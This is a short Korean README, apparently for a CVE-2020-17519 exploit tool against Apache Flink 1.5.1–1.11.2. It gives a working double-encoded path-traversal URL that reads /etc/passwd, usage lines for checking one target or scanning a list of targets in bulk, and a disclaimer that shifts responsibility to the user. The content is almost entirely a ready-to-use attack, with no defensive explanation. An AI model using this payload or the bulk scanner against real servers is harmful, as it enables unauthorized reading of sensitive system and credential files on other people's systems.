CVE-2020-17519-Apache-Flink

CVE-2020-17519 Apache Flink 임의 파일 읽기

영향 범위

Apache Flink 1.5.1 ~ 1.11.2

POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

스크립트 사용 방법

python3 CVE-2020-17519 --help 사용 도움말 확인

python3 CVE-2020-17519 -u http://127.0.0.1:8080 특정 주소에 취약점이 존재하는지 확인

python3 CVE-2020-17519 -f target.txt 일괄 취약점 탐지

면책 조항

이 문서를 통해 제공된 정보를 유포하거나 이용함으로 인해 발생하는 모든 직접적 또는 간접적인 결과와 손실은 전적으로 사용자 본인의 책임이며, 저자는 이에 대해 어떠한 책임도 지지 않습니다.